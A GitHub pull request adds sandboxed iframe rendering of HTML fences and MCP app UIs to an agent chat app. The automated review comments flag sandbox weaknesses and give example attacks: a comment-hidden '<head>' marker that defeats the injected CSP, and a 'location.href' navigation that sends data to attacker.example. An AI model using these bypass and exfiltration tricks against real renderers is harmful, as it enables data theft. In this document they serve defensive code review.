Repository navigation
Render sandboxed HTML pages and MCP app UIs in the thread (#1525) - #1597
Conversation
Agents can show a chart or prototype inline without the frame reaching the preload bridge or the local web-server token. Co-authored-by: Cursor <[email protected]>
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 9f257e6204
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (/<html[\s>]/i.test(body)) { | ||
| if (/<head[\s>]/i.test(body)) { | ||
| return body.replace(/<head(\s[^>]*)?>/i, `<head$1>${CSP_META}`); |
There was a problem hiding this comment.
Prevent document markers from hiding the injected CSP
Because this regex searches untrusted source text rather than the parsed document, input such as <!-- <html><head> --><script>fetch(...)</script> causes both replacements to occur inside the comment. The browser then ignores the injected meta element and executes the script without the intended no-network policy, defeating the sandbox's primary security boundary. Always construct a known outer document or inject the policy using an HTML parser rather than trusting textual <html>/<head> matches.
Useful? React with 👍 / 👎.
| "style-src 'unsafe-inline'", | ||
| "img-src data:", | ||
| "font-src data:", | ||
| "connect-src 'none'", |
There was a problem hiding this comment.
Block navigation from the sandboxed frame
For any rendered page containing location.href = 'https://attacker.example/?data=...' or a same-frame link, connect-src 'none' and default-src 'none' do not block the outbound document navigation because CSP navigation directives do not fall back to default-src. The sandbox also permits an iframe to navigate itself, and the existing electron/main.js handler uses will-navigate, which Electron documents as main-frame-only; iframe navigation requires will-frame-navigate. Thus correctly wrapped HTML can still make network requests and replace the sandbox contents. Add an iframe-navigation policy rather than relying solely on these fetch directives. Electron navigation events, CSP navigation directives
Useful? React with 👍 / 👎.
| useEffect(() => { | ||
| if (!bridge || !srcdoc) return; |
There was a problem hiding this comment.
Attach the MCP listener before loading srcdoc
When an MCP App calls App.connect() from an inline startup script, it can post ui/initialize while the srcdoc iframe is loading, but this passive effect installs the parent listener only after the iframe has already been committed. The request is not retried, so affected Apps remain permanently uninitialized. This exact srcdoc ordering race is documented by the MCP Apps project; install the listener before assigning/loading srcdoc (and then start the iframe navigation). MCP Apps srcdoc race
Useful? React with 👍 / 👎.
Agents can now drop a chart, prototype, or interactive table in the thread: an
htmlfence (and MCPui:///text/htmltool results) render in a sandboxed iframe. Closes #1525.Changes
```htmlfences swap to<iframe sandbox="allow-scripts" srcdoc>with a no-network CSP, a 200KB cap, and Open-in-browser as a download of the wrapped page (not a same-origin blob window).ToolCallInfo.htmlbefore the 4000-character tool-output truncate and shown in the same frame, with an MCP Appsui/initializehandshake.markdownChunksno longer treats<inside a fence as raw HTML, so a closed html fence can settle while the reply still streams.Verification
node --import=./test/support/render.mjs --experimental-strip-types --test test/htmlFence.test.tsx test/htmlPage.test.ts— passnode --test electron/test/tool-html.test.js— passnpx vite build— HtmlPage is its own ~1.2kB chunkNotes for reviewers
allow-same-originorconnect-src 'self'— that would reachwindow.coderand the local web-token origin.tools/call/resources/readfrom the iframe are refused: the host has no MCP client yet. Interactive Apps that need a callback will render but not update.cursor-grok-4.6 via Cursor
Made with Cursor